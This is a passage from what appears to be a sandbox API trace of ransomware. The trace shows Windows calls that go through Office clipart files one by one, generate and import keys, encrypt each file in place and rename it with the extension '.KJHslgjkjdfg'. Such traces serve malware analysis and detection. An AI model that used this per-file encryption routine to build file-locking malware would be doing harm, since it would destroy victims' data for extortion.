lpNewFilePointer=0x0) returned 1 [0169.048] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0169.048] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0169.048] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0169.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.048] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7e4, lpOverlapped=0x0) returned 1 [0169.048] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f0) returned 1 [0169.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.049] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7f0, lpOverlapped=0x0) returned 1 [0169.049] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0169.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.049] SetEndOfFile (hFile=0x114) returned 1 [0169.116] GetProcessHeap () returned 0x2a0000 [0169.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0169.117] GetProcessHeap () returned 0x2a0000 [0169.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0169.117] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.kjhslgjkjdfg")) returned 1 [0169.118] CloseHandle (hObject=0x114) returned 1 [0169.118] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105328.WMF", cAlternateFileName="")) returned 1 [0169.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0169.118] GetProcessHeap () returned 0x2a0000 [0169.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0169.119] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0169.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0169.119] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0169.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0169.212] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0169.212] GetProcessHeap () returned 0x2a0000 [0169.212] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0169.212] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0169.212] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0169.212] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0169.212] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0169.212] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0169.212] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0169.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0169.212] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0169.341] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0169.341] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0169.341] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.341] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f38, lpOverlapped=0x0) returned 1 [0169.416] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40) returned 1 [0169.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.416] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f40, lpOverlapped=0x0) returned 1 [0169.416] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0169.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.416] SetEndOfFile (hFile=0x114) returned 1 [0169.500] GetProcessHeap () returned 0x2a0000 [0169.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0169.500] GetProcessHeap () returned 0x2a0000 [0169.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0169.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.kjhslgjkjdfg")) returned 1 [0169.502] CloseHandle (hObject=0x114) returned 1 [0169.502] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0169.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0169.502] GetProcessHeap () returned 0x2a0000 [0169.502] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0169.502] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0169.503] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0169.503] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0170.204] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0170.204] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0170.205] GetProcessHeap () returned 0x2a0000 [0170.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0170.205] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0170.205] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0170.206] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0170.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0170.206] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0170.206] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0170.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0170.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0170.206] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0170.206] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0170.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.206] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x290c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x290c, lpOverlapped=0x0) returned 1 [0171.951] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2910, dwBufLen=0x2910 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2910) returned 1 [0171.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.951] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2910, lpOverlapped=0x0) returned 1 [0171.951] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.951] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x29e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.951] SetEndOfFile (hFile=0x114) returned 1 [0171.953] GetProcessHeap () returned 0x2a0000 [0171.953] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0171.954] GetProcessHeap () returned 0x2a0000 [0171.954] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0171.954] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.kjhslgjkjdfg")) returned 1 [0171.955] CloseHandle (hObject=0x114) returned 1 [0171.955] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0171.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.956] GetProcessHeap () returned 0x2a0000 [0171.956] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0171.957] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0171.957] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0171.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0171.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.958] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.958] GetProcessHeap () returned 0x2a0000 [0171.958] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0171.958] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0171.958] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.958] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0171.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0171.958] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0171.959] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0171.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0171.959] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0171.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.959] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.959] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb54, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb54, lpOverlapped=0x0) returned 1 [0171.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb60, dwBufLen=0xb60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb60) returned 1 [0171.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.959] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb60, lpOverlapped=0x0) returned 1 [0171.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.959] SetEndOfFile (hFile=0x114) returned 1 [0171.961] GetProcessHeap () returned 0x2a0000 [0171.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0171.961] GetProcessHeap () returned 0x2a0000 [0171.961] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0171.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.kjhslgjkjdfg")) returned 1 [0171.962] CloseHandle (hObject=0x114) returned 1 [0171.962] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0171.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.963] GetProcessHeap () returned 0x2a0000 [0171.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0171.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0171.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0171.963] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.963] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.963] GetProcessHeap () returned 0x2a0000 [0171.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0171.963] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0171.963] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.963] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0171.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0171.965] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0171.965] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0171.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0171.965] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0171.966] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0171.966] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0171.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.966] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2d40, lpOverlapped=0x0) returned 1 [0171.967] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d40, dwBufLen=0x2d40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d40) returned 1 [0171.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.967] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d40, lpOverlapped=0x0) returned 1 [0171.967] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0171.967] SetFilePointerEx (in: hFile=0x114, 